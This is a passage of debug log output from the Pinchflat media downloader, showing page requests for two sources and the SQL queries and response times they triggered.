s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.566 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.568 [info] Sent 200 in 4ms 18:56:13.568 [info] GET /sources/1/ 18:56:13.568 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:56:13.568 [debug] QUERY OK source="sources" db=0.5ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.569 [debug] QUERY OK source="sources" db=0.3ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.569 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:56:13.569 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.570 [debug] QUERY OK source="media_items" db=0.8ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:56:13.571 [debug] QUERY OK source="tasks" db=1.1ms idle=1.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 18:56:13.571 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.571 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17077] 18:56:13.572 [debug] QUERY OK source="media_items" db=0.4ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:56:13.572 [info] GET /sources/3/ 18:56:13.572 [debug] QUERY OK source="settings" db=0.3ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.572 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 18:56:13.572 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:56:13.572 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.573 [debug] QUERY OK source="sources" db=0.5ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.573 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.574 [debug] QUERY OK source="media_profiles" db=0.6ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.574 [debug] QUERY OK source="sources" db=0.7ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.575 [debug] QUERY OK source="media_items" db=1.0ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 18:56:13.576 [debug] QUERY OK source="sources" db=1.3ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.578 [debug] QUERY OK source="media_items" db=1.4ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:56:13.580 [debug] QUERY OK source="media_items" db=4.6ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:56:13.580 [debug] QUERY OK source="tasks" db=5.8ms idle=1.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 18:56:13.580 [debug] QUERY OK source="media_items" db=2.2ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:56:13.580 [info] Sent 200 in 19ms 18:56:13.580 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=3.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17075] 18:56:13.581 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.581 [debug] QUERY OK source="settings" db=0.4ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.581 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.582 [debug] QUERY OK source="media_items" db=0.4ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:56:13.582 [info] GET /sources/3/ 18:56:13.582 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 18:56:13.582 [debug] QUERY OK source="settings" db=0.3ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.582 [debug] QUERY OK source="media_items" db=0.3ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:56:13.583 [debug] QUERY OK source="sources" db=0.5ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.583 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.583 [debug] QUERY OK source="sources" db=0.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.584 [debug] QUERY OK source="sources" db=0.7ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.584 [debug] QUERY OK source="media_items" db=0.7ms idle=0.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 18:56:13.585 [debug] QUERY OK source="media_items" db=0.4ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:56:13.585 [debug] QUERY OK source="tasks" db=1.5ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 18:56:13.585 [debug] QUERY OK source="media_items" db=1.1ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:56:13.586 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=0.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17075] 18:56:13.586 [info] Sent 200 in 18ms 18:56:13.586 [debug] QUERY OK source="media_items" db=1.1ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:13.586 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.587 [debug] QUERY OK source="sources" db=0.6ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", 